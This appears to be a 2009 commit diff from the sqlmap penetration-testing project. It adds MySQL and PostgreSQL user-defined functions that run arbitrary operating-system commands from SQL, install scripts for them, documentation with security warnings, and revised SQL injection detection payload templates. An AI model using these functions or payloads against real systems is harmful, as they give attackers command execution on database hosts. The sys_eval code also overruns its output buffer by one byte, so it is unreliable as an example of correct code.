</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_set;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
This function will overwrite existing environment variables.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
</body>
</html

Binary file not shown.

View File

@@ -0,0 +1,33 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

View File

@@ -0,0 +1,354 @@
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
@@ -0,0 +1,43 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007 Roland Bouman
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+ echo "ERROR: You need libmysqlclient development software installed "
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+ echo "apt-get install libmysqlclient15-dev"
+ exit 1
+else
+ echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u root -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+ echo "ERROR: unable to install the UDF"
+ exit 1
+else
+ echo "MySQL UDF installed successfully"
+fi
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
@@ -1,8 +1,9 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
@@ -51,7 +52,7 @@
extern "C" {
#endif
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
@@ -139,7 +140,7 @@
/**
* sys_exec
*
- * executes the argument commandstring.
+ * executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
@@ -162,6 +163,34 @@
, char *error
);
+/**
+ * sys_eval
+ *
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+);
+
+DLLEXP
+void sys_eval_deinit(
+ UDF_INIT *initid
+);
+
+DLLEXP
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+);
+
#ifdef __cplusplus
}
@@ -336,5 +365,62 @@
return system(args->args[0]);
}
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+){
+ unsigned int i=0;
+ if(args->arg_count == 1
+ && args->arg_type[i]==STRING_RESULT){
+ return 0;
+ } else {
+ strcpy(
+ message
+ , "Expected exactly one string type parameter"
+ );
+ return 1;
+ }
+}
+void sys_eval_deinit(
+ UDF_INIT *initid
+){
+}
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+){
+ FILE *pipe;
+ char line[1024];
+ unsigned long outlen, linelen;
+
+ result = malloc(1);
+ outlen = 0;
+
+ pipe = popen(args->args[0], "r");
+
+ while (fgets(line, sizeof(line), pipe) != NULL) {
+ linelen = strlen(line);
+ result = realloc(result, outlen + linelen);
+ strncpy(result + outlen, line, linelen);
+ outlen = outlen + linelen;
+ }
+
+ pclose(pipe);
+
+ if (!(*result) || result == NULL) {
+ *is_null = 1;
+ } else {
+ result[outlen] = 0x00;
+ *length = strlen(result);
+ }
+
+ return result;
+}
+
#endif /* HAVE_DLOPEN */
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
@@ -23,7 +23,8 @@
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
@@ -31,6 +32,72 @@
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
+
+ <a name="sys_eval"></a><h2>sys_eval</h2>
+ <p>
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
+ </p>
+ <h3>Syntax</h3>
+<pre>sys_eval(<b>arg1</b>)</pre>
+ <h3>Parameters and Return Values</h3>
+ <dl>
+ <dt><code><b>arg1</b></code></dt>
+ <dd>
+ A command string valid for the current operating system or execution environment.
+ </dd>
+ <dt>returns</dt>
+ <dd>
+ Whatever output the command pushed to the standard output stream.
+ </dd>
+ </dl>
+ <h3>Installation</h3>
+ <p>
+ Place the shared library binary in an appropriate location.
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
+ Then, create the function using the following DDL statement:
+ </p>
+ <pre>
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
+ </pre>
+ <p>
+ The function will be globally available in all databases.
+ </p>
+ <p>
+ The deinstall the function, run the following statement:
+ </p>
+ <pre>
+DROP FUNCTION sys_eval;
+ </pre>
+ <h3>Examples</h3>
+ <p>
+ None yet
+ </p>
+ <h3>A Note of Caution</h3>
+ <p>
+ Be very careful in deciding whether you need this function.
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
+ exposing the function poses a very real security hazard.
+ </p>
+ <p>
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
+ The call will be executed with the privileges of the os user that runs MySQL,
+ so it is entirely feasible to delete MySQL's data directory, or worse.
+ </p>
+ <p>
+ The function is intended for specialized MySQL applications where one needs extended
+ control over the operating system.
+ Currently, we do not have UDF's for ftp, email and http,
+ and this function can be used to implement such functionality in case it is really necessary
+ (datawarehouse staging areas could be a case in example).
+ </p>
+ <p>
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
+ </p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
+
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
@@ -92,6 +159,9 @@
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
@@ -1,30 +1,33 @@
-/*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+/*
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+ Copyright (C) 2007 Roland Bouman
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
-drop function lib_mysqludf_sys_info;
-drop function sys_get;
-drop function sys_set;
-drop function sys_exec;
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
@@ -1,6 +1,4 @@
-linux: \
- lib_mysqludf_sys.so
+LIBDIR=/usr/lib
-lib_mysqludf_sys.so: \
-
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+install:
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn

Binary file not shown.

View File

@@ -0,0 +1,4 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so

View File

@@ -0,0 +1,43 @@
#!/bin/bash
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2009 Bernardo Damele A. G.
# web: http://bernardodamele.blogspot.com/
# email: bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the PostgreSQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install postgresql-server-dev-8.3"
exit 1
else
echo "PostgreSQL UDF compiled successfully"
fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "PostgreSQL UDF installed successfully"
fi

View File

@@ -0,0 +1,100 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
pfree(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen] = 0x00;
}
result_text = (text *)palloc(VARHDRSZ + strlen(result));
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -0,0 +1,23 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,6 +5,8 @@ $Id$
02/2006 Will Holcomb <wholcomb@gmail.com> 02/2006 Will Holcomb <wholcomb@gmail.com>
Reference: http://odin.himinbi.org/MultipartPostHandler.py
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
@@ -14,6 +16,10 @@ This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details. Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -71,11 +71,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming custom injection " infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -83,7 +83,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable " infoMsg += "custom injectable "
logger.info(infoMsg) logger.info(infoMsg)
@@ -97,11 +97,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming unescaped numeric injection " infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -109,7 +109,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable " infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -128,11 +128,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming single quoted string injection " infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -140,7 +140,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable " infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -159,11 +159,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming LIKE single quoted string injection " infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
